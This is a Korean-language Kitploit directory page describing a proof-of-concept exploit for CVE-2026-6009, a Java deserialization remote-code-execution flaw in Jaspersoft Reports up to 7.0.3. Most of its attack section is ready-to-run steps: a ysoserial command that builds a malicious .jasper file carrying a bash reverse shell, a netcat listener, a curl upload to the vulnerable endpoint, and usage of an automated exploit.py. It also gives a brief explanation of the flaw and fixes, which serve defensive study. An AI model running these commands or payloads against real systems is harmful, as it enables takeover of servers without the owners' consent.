Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-6009 — CVE-2026-6009를 위한 자동화된 PoC 익스플로잇, Jaspersoft Reports <=7.0.3의 Java 역직렬화 RCE입니다. ysoserial을 통해 악성 .jasper 페이로드를 생성하고 파일 업로드 엔드포인트를 통해 리버스 셸을 전달합니다. | Kitploit
도구/GitHubGitHub/pumila03/cve-2026-6009
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubpumila03/cve-2026-6009

CVE-2026-6009

CVE-2026-6009를 위한 자동화된 PoC 익스플로잇, Jaspersoft Reports <=7.0.3의 Java 역직렬화 RCE입니다. ysoserial을 통해 악성 .jasper 페이로드를 생성하고 파일 업로드 엔드포인트를 통해 리버스 셸을 전달합니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

⚠️ 면책 조항: 이 저장소는 교육 목적 및 승인된 보안 테스트 용도로만 사용됩니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대해 사용하지 마세요.

CVE-2026-6009

개념 증명

요약

Jaspersoft report 라이브러리 버전 <= 7.0.3은 Java 역직렬화 흐름을 악용하여 **원격 코드 실행(RCE)**에 취약합니다. 이 취약점으로 인해 공격자는 이 라이브러리 버전을 사용하는 시스템에서 리버스 셸 연결을 수행할 수 있습니다.

  • 라이브러리: Jaspersoft report
  • 영향 받는 버전: <= 7.0.3
  • 취약점 유형: Java 역직렬화를 통한 RCE
  • CVE-2026-6009
  • CVSS 점수: 8.7 (높음)
  • 날짜: 2026-05-19

취약점 설명

데이터를 전송하기 위해 일부 시스템은 객체를 특정 전송 가능한 형식으로 변환해야 하며, 이를 직렬화라고 합니다. 역직렬화는 반대 작업입니다. Java에서 취약한 메커니즘은 모든 객체를 입력 스트림에서 역직렬화하는 데 사용되는 ObjectInputStream.readObject()에 있습니다. Jaspersoft 라이브러리에서 JRLoader.loadObject()는 이 메서드를 사용하여 .jasper 파일 보고서를 읽기 때문에 악성 코드를 주입하는 위험한 진입점입니다.

readObject()만으로는 코드를 트리거하기에 충분하지 않습니다. 알려진 악용 가능한 클래스에 대해서만 작동합니다. 그런 다음 공격자는 CommonCollection과 같은 알려진 가젯 체인을 사용하여 페이로드를 실행합니다.

환경

개념 증명(PoC)을 만들기 위해 Java 웹 서버가 있는 Parrot 머신에 Jaspersoft Report 라이브러리를 사용하는 랩을 구성했습니다.

OS : Parrot OS 7 GNU/Linux 프레임워크: Spring Boot 버전 2.7.18 의존성: Jasperreports 버전 7.0.3 환경: Java 11 컴파일러: Maven

취약한 코드 예제 :

root@kitploit:~
@PostMapping("/upload-report")
    public String uploadReport(@RequestParam("file") MultipartFile file) {
        try {
            InputStream is = file.getInputStream();

            // ObjectInputStream.readObject() appelé en interne par JRLoader
            JasperReport report = (JasperReport) JRLoader.loadObject(is);
            ...

재현 단계

  1. 분석

첫 번째 단계로, 대상 시스템이 취약한 버전의 Jasperreport를 사용한다는 것을 알게 되면, 대상이 jasper 파일을 수신할 정확한 위치를 찾아야 합니다.

이 환경에서는 http://localhost:8080/upload-report입니다.

  1. 취약점 확인

그런 다음 대상 시스템에서 가젯 체인으로 사용할 수 있는 클래스를 찾는 방법을 찾아야 합니다. 몇 가지를 시도해보고 어떤 것이 시스템을 트리거하는지 확인할 수도 있습니다.

Whitebox 맥락에서는 다음을 통해 직접 이 정보를 찾을 수 있습니다:

root@kitploit:~
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"

시스템이 CommonsCollections를 사용하는 것을 발견했습니다.

  1. 페이로드 생성

CommonsCollections의 경우 ysoserial 스크립트를 사용하여 원하는 페이로드를 생성합니다. 여기서는 리버스 셸을 만듭니다:

root@kitploit:~
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper

페이로드 실행을 위해 여러 CommonCollections 버전을 테스트해야 할 수도 있습니다.

  1. 익스플로잇 준비

리버스 셸 연결을 수행하려면 페이로드에 의해 대상 시스템에서 시작된 연결을 수신할 포트를 열어야 합니다:

root@kitploit:~
nc -lnvp 4444
  1. 익스플로잇

마지막으로, 찾은 위치에 생성한 페이로드를 보내고 포트를 확인하여 대상 시스템에서 연결이 이루어졌는지 확인하기만 하면 됩니다:

root@kitploit:~
curl -X POST http://localhost:8080/upload-report -F "[email protected]"

영향

엔드포인트에 접근할 수 있는 공격자는 서버 권한으로 임의 코드를 실행하여 시스템을 완전히 장악할 수 있습니다.

수정 권장 사항

  • JasperReports를 버전 7.0.4+로 업데이트하세요.
  • 알 수 없는 소스의 .jasper 파일을 역직렬화하지 마세요.
  • 허가된 클래스에 대한 화이트리스트를 구현하세요.

스크립트

설명

exploit.py는 CVE-2026-6009 취약점 악용을 자동화하는 스크립트입니다.

사용법

root@kitploit:~
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444

옵션

Flag설명
-t, --target.jasper 파일을 업로드할 위치
-s, --source사용자의 IP 주소
-p, --port리버스 셸이 연결될 포트
도구 다운로드